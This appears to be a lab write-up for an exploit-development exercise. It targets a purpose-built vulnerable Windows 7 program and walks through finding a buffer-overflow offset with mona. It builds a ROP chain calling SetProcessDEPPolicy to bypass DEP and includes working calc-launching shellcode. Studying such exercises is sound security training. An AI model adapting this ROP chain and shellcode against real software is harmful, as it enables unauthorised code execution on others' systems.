1. Introduction

Table 1. Directory layout
Directory Contents

/app

Source code for a vulnerable application.

/exploit

Python scripts, demonstrating bypass techniques for at least one security control.

2. Application

2.1. Dependencies

The vulnerable application was developed on Kali Linux 2022 and compiled for windows using MinGW-w64.

  • Windows 7 Professional (SP1)

  • 32-bit CPU architecture

  • MinGW-x64 (i686-w64-mingw32-gcc)

2.2. Compiling

Ensure you have installed MinGW-w64, then in the app folder:

make

To clean up previous builds:

make rm

2.3. Execution

  • Ensure DEP is enabled. We followed information from this thread.

  • Enable or disable ASLR. Here, we followed information from this article.

  • Python scripts require Python 2.7.1

  • Execute exploit-setprocessdeppolicy.py for the below exploit.

3. Exploit

3.1. Bypass DEP with ROP SetProcessDEPPolicy

First we explore the size of the buffer by generating a file with 2048 bytes, which crashes when loaded into the program.

Genearte and run a new file again but with 1024 bytes, but it is fine. Next we try 1200 bytes and again it crashes.

Open Immunity Debugger, open the program and the use the mona plugin to generate a pattern

!mona pc 1200

which produces:

================================================================================
  OS : 7, release 6.1.7601
  Process being debugged : main32 (pid 1588)
  Current mona arguments: pc 1200
================================================================================

Pattern of 1200 bytes :
-----------------------

ASCII:
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9

Next, to conduct further analysis we use !mona suggest, !mona findmsp and !mona modules. We were able to determine the offset as 1036.

EPI contains normal pattern : 0x69423569 (offset 1036)

With offset figured out, we then performed a simple search in the disassemble pane to find a RETN with no bad characters.

0x77AD7C2F

Still in the disassemble pane of Immunity Debugger, we used the assemble command to execute:

call kernel32.SetProcessDEPPolicy

Which retuened the memory address

0x76C3EB9A

Next, we needed to generate the ROP (Return-oriented Programming) chain by using mona. First we identified the bad characters we wanted to avoid in our mona output as \x00\x09\x0A\x0d\x1a. With that, we then used the below command to generate the rop files.

!mona rop cpb '\x00\x09\x0A\x0d\x1a' -m *

We used the a simple text editor to search through the rop files in order to construct our rop chain, which is as follows.

# set 0 in ebx
# 0x77b4e964 :  # POP EBX # RETN    ** [ntdll.dll] **   |   {PAGE_EXECUTE_READ}
rop += struct.pack('L',0x77b4e964) # POP EBX # RETN
rop += struct.pack('L',0xFFFFFFFF) # Value for EBX
# 0x771f1db3 :  # INC EBX # FPATAN # RETN    ** [msvcrt.dll] **   |   {PAGE_EXECUTE_READ}
rop += struct.pack('L',0x771f1db3) # INC EBX # RETN

# Set SetProcessDEPPolicy
# 0x77238002 :  # POP EBP # RETN    ** [msvcrt.dll] **   |   {PAGE_EXECUTE_READ}
rop += struct.pack('L',0x77238002) # POP EBP # RETN
rop += struct.pack('L',0x76C3EB9A) # pointer to SetProcessDEPPolicy


# Set ROP NOP in EDI and ESI
# 0x771d093a :  # POP EDI # RETN   <---- BAD CHAR
# 0x77af5d53 :  # POP EDI # RETN    ** [ntdll.dll] **   |   {PAGE_EXECUTE_READ}
rop += struct.pack('L',0x77af5d53) # POP EDI # RETN
rop += struct.pack('L',0x77AD7C2F) # RETN

# 0x7720808c :  # POP ESI # RETN    ** [msvcrt.dll] **   |   {PAGE_EXECUTE_READ}
rop += struct.pack('L', 0x7720808c) # POP ESI # RETN
rop += struct.pack('L',0x77AD7C2F) # RETN

# pointer to PUSHAD
# 0x77225cf4 :  # PUSHAD # RETN    ** [msvcrt.dll] **   |   {PAGE_EXECUTE_READ}
rop += struct.pack('L',0x77225cf4) # PUSHAD # RETN

For the exploit we opted to load the calculator app as per shellcode below:

# calc shellcode
buf =  b""
buf += b"\xb8\xa3\xbc\x21\x12\xd9\xeb\xd9\x74\x24\xf4\x5a\x31"
buf += b"\xc9\xb1\x30\x83\xc2\x04\x31\x42\x0f\x03\x42\xac\x5e"
buf += b"\xd4\xee\x5a\x1c\x17\x0f\x9a\x41\x91\xea\xab\x41\xc5"
buf += b"\x7f\x9b\x71\x8d\xd2\x17\xf9\xc3\xc6\xac\x8f\xcb\xe9"
buf += b"\x05\x25\x2a\xc7\x96\x16\x0e\x46\x14\x65\x43\xa8\x25"
buf += b"\xa6\x96\xa9\x62\xdb\x5b\xfb\x3b\x97\xce\xec\x48\xed"
buf += b"\xd2\x87\x02\xe3\x52\x7b\xd2\x02\x72\x2a\x69\x5d\x54"
buf += b"\xcc\xbe\xd5\xdd\xd6\xa3\xd0\x94\x6d\x17\xae\x26\xa4"
buf += b"\x66\x4f\x84\x89\x47\xa2\xd4\xce\x6f\x5d\xa3\x26\x8c"
buf += b"\xe0\xb4\xfc\xef\x3e\x30\xe7\x57\xb4\xe2\xc3\x66\x19"
buf += b"\x74\x87\x64\xd6\xf2\xcf\x68\xe9\xd7\x7b\x94\x62\xd6"
buf += b"\xab\x1d\x30\xfd\x6f\x46\xe2\x9c\x36\x22\x45\xa0\x29"
buf += b"\x8d\x3a\x04\x21\x23\x2e\x35\x68\x29\xb1\xcb\x16\x1f"
buf += b"\xb1\xd3\x18\x0f\xda\xe2\x93\xc0\x9d\xfa\x71\xa5\x42"
buf += b"\x19\x50\xd3\xea\x84\x31\x5e\x77\x37\xec\x9c\x8e\xb4"
buf += b"\x05\x5c\x75\xa4\x6f\x59\x31\x62\x83\x13\x2a\x07\xa3"
buf += b"\x80\x4b\x02\xc0\x47\xd8\xce\x07"

The in front of the shellcode we added some nops with nops = "\x90"*100 and then some additional junk after the shellcode with "z"*100.

In order to execute this exploit, run the exploit-setprocessdeppolicy.py file in the exploit folder. Then copy the exploit-setprocessdeppoliy.txt into the app folder. Then when running the program in Immunity Debugger, enter exploit-setprocessdeppoliy.txt into the command prompt.